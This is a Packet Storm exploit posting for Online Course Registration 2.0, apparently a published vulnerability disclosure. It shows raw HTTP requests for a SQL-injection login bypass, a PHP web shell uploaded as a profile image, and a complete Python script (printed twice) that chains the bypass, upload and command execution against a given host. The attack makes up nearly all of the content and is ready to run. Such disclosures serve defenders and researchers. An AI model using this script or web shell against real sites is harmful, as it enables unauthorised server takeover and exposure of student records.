exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Online Course Registration 2.0 Remote Code Execution

Online Course Registration 2.0 Remote Code Execution
Posted Jan 2, 2020
Authored by Metin Yunus Kandemir

Online Course Registration version 2.0 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 111753551568881bfe89880e1b09bb623051b7e801414cc97d971695f59c804e

Online Course Registration 2.0 Remote Code Execution

Change Mirror Download
# Exploit Title: Online Course Registration 2.0 - Remote Code Execution
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/online-course-registration-free-download/
# Version: v2.0
# Category: Webapps
# Tested on: Xampp for Windows

# Description:
Attacker can bypass login page and access to student change password dashboard.

PoC Request (Authentication Bypass):

POST /onlinecourse/index.php HTTP/1.1
Host: target

regno=joke' or '1'='1'#&password=joke' or '1'='1'#&submit=


There isn't any file extension control in student panel "My Profile" section.
An unauthorized user can upload php file as profile image.

First PoC Request (RCE):

POST /onlinecourse/my-profile.php HTTP/1.1
Host: target

-----------------------------16046344889164047791563222514
Content-Disposition: form-data; name="photo"; filename="simple.php"
Content-Type: application/x-php

<?php $cmd=$_GET["cmd"]; echo `$cmd`; ?>


Second PoC Request (RCE):

GET /onlinecourse/studentphoto/simple.php?cmd=ipconfig HTTP/1.1
Host: target


Below basic python script will bypass authentication and execute command on target server.





import requests
import sys

if (len(sys.argv) !=3) or sys.argv[1] == "-h":
print "[*] Usage: PoC.py rhost/rpath "
print "[*] e.g.: PoC.py 127.0.0.1/onlinecourse "
exit(0)

rhost = sys.argv[1]
command = sys.argv[2]



url = "http://"+rhost+"/index.php"
data = {"regno": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:
#bypass authentication
lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})

#check authentication bypass
check = session.get("http://"+rhost+"/my-profile.php", allow_redirects=False)
if check.status_code == 200:
print "[+] Authentication bypass was successfull"
else:
print "[-] Authentication bypass was unsuccessful"
sys.exit()

#upload simple php file

files = {'photo':('command.php', '<?php system($_GET["cmd"]); ?>')}
fdata = {"studentname": "Test", "studentregno": "10806157", "Pincode": "715989", "cgpa": "0.00", "photo": "command.php", "submit": ""}
furl = "http://"+rhost+"/my-profile.php"
session.post(url=furl, files= files, data=fdata)

#execution
final=session.get("http://"+rhost+"/studentphoto/command.php?cmd="+command)

#check execution
if final.status_code == 200:
print "[+] Command execution completed successfully."
print "\tPut on a happy face!\n"
else:
print "[-] Command execution was unsuccessful."
sys.exit()

print final.text

online-course-registration-rce.png

poc.py

import requests
import sys

if (len(sys.argv) !=3) or sys.argv[1] == "-h":
print "[*] Usage: PoC.py rhost/rpath "
print "[*] e.g.: PoC.py 127.0.0.1/onlinecourse "
exit(0)

rhost = sys.argv[1]
command = sys.argv[2]



url = "http://"+rhost+"/index.php"
data = {"regno": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:
#bypass authentication
lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})

#check authentication bypass
check = session.get("http://"+rhost+"/my-profile.php", allow_redirects=False)
if check.status_code == 200:
print "[+] Authentication bypass was successfull"
else:
print "[-] Authentication bypass was unsuccessful"
sys.exit()

#upload simple php file

files = {'photo':('command.php', '<?php system($_GET["cmd"]); ?>')}
fdata = {"studentname": "Test", "studentregno": "10806157", "Pincode": "715989", "cgpa": "0.00", "photo": "command.php", "submit": ""}
furl = "http://"+rhost+"/my-profile.php"
session.post(url=furl, files= files, data=fdata)

#execution
final=session.get("http://"+rhost+"/studentphoto/command.php?cmd="+command)

#check execution
if final.status_code == 200:
print "[+] Command execution completed successfully.\n"
print "\tPut on a happy face!\n"
else:
print "[-] Command execution was unsuccessful."
sys.exit()

print final.text
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close